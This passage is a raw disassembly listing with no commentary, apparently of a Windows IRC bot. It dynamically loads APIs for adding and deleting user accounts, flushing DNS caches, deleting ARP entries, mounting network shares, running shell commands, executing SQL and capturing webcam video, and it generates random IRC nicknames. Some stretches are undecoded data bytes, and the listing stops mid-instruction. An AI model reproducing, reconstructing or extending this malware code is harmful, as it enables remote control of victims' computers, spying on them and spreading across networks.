"NetUserAdd" push edi mov dword_4CAED0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE7C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE6C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAF04, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFFC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAFB4, eax call esi cmp dword_4CAE98, ebx mov dword_4CAED8, eax jz short loc_40A582 cmp dword_4CAE70, ebx jz short loc_40A582 cmp dword_4CAEE8, ebx jz short loc_40A582 cmp dword_4CAF1C, ebx jz short loc_40A582 cmp dword_4CB034, ebx jz short loc_40A582 cmp dword_4CAED0, ebx jz short loc_40A582 cmp dword_4CAE7C, ebx jz short loc_40A582 cmp dword_4CAE6C, ebx jz short loc_40A582 cmp dword_4CAF04, ebx jz short loc_40A582 cmp dword_4CAFFC, ebx jz short loc_40A582 cmp dword_4CAFB4, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j call near ptr 2670914h nop mov dword_4CB0A0, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB09C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAEC0, eax call esi cmp dword_4CAEC0, ebx mov dword_4CAF9C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j call near ptr 2670914h nop mov dword_4CB0A8, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB0A4, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CB020, eax call esi cmp dword_4CB020, ebx mov dword_4CB01C, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj nop call near ptr 2670914h mov dword_4CB0B0, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB0AC, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB04C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB044, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CB00C, eax call esi cmp dword_4CB04C, ebx mov dword_4CAEDC, eax jz short loc_40A68A cmp dword_4CB044, ebx jz short loc_40A68A cmp dword_4CB00C, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 2670914h mov dword_4CB0B8, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB0B4, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF10, ebx mov dword_4CB018, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 2670914h mov dword_4CB0C0, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB0BC, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFE0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CB02C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF68, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAF20, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAFC0, eax call esi cmp dword_4CAFE0, ebx mov dword_4CAF30, eax jz short loc_40A772 cmp dword_4CB02C, ebx jz short loc_40A772 cmp dword_4CAF68, ebx jz short loc_40A772 cmp dword_4CAF20, ebx jz short loc_40A772 cmp dword_4CAFC0, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j nop call near ptr 2670914h mov dword_4CB0C8, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB0C4, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAEF4, ebx mov dword_4CAFD4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 2670914h mov dword_4CB0D0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB0CC, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB064, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB068 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB06C, esi jz short loc_40A84A push dword_4CB070 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB074, esi jz short loc_40A87E push dword_4CB078 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB07C, esi jz short loc_40A8B2 push dword_4CB080 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB084, esi jz short loc_40A8E6 push dword_4CB088 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB08C, esi jz short loc_40A91A push dword_4CB090 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB094, esi jz short loc_40A94E push dword_4CB098 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB09C, esi jz short loc_40A982 push dword_4CB0A0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB0A4, esi jz short loc_40A9B6 push dword_4CB0A8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB0AC, esi jz short loc_40A9EA push dword_4CB0B0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB0B4, esi jz short loc_40AA1E push dword_4CB0B8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB0BC, esi jz short loc_40AA52 push dword_4CB0C0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB0C4, esi jz short loc_40AA86 push dword_4CB0C8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB0CC, esi jz short loc_40AABA push dword_4CB0D0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D368 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFE4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CB028 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAEC0 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CB020 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D57C push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D558 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CB020 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D528 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4F8 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CB01C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF48 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0D4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D5C8o arg_0 = dword ptr 4 push esi push edi call near ptr 26808E8h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D630[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B498 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h dd 275BBFE8h, 0E8509002h, 10BA8h, 10247C8Bh, 3C2404C7h dd 68004291h, 42C954h, 0E8571C6Ah, 10C38h, 0C483F633h dd 98353910h, 7E004290h, 0B88E826h, 0A6A0001h, 0F9F75999h dd 98685752h, 6A0042B4h, 11E8571Ch, 8300010Ch, 3B4614C4h dd 42909835h, 8BDA7C00h, 0C35E5FC7h ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi call near ptr 26808E8h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26808E8h push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431288 push eax push esi nop call near ptr 26B0000h movsx eax, byte_431288 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B498 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 26808E8h nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26C0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_43128C push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B498 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D158 mov dword ptr [ebp-94h], 94h nop call near ptr 26C05ECh call near ptr 26808E8h nop push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_4312B4 loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_4312B0 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_4312AC jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_4312A8 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_4312A4 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_4312A0 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_43129C jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431298 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431290 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B498 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 26808E8h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAFB0 test eax, eax mov eax, offset dword_4312C0 jnz short loc_40B022 mov eax, offset dword_43D158 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_4312B8 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAFB0 test eax, eax mov eax, offset dword_4312C0 jnz short loc_40B04D mov eax, offset dword_43D158 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D5C4 loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D63C jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D5C8[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCE0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACE0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCE0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEE0[esi], eax and dword_43DEE4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEE8[esi], 0 mov dword_43DEEC[esi], eax and byte_43DEF8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 4313C0h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCE0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C1C868FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0E0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43DEF4[esi] lea edi, dword_43DEF4[esi] call near ptr 2680981h nop cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEE8[esi] mov dword_43DEE0[esi], ebx mov dword_43DEE4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short 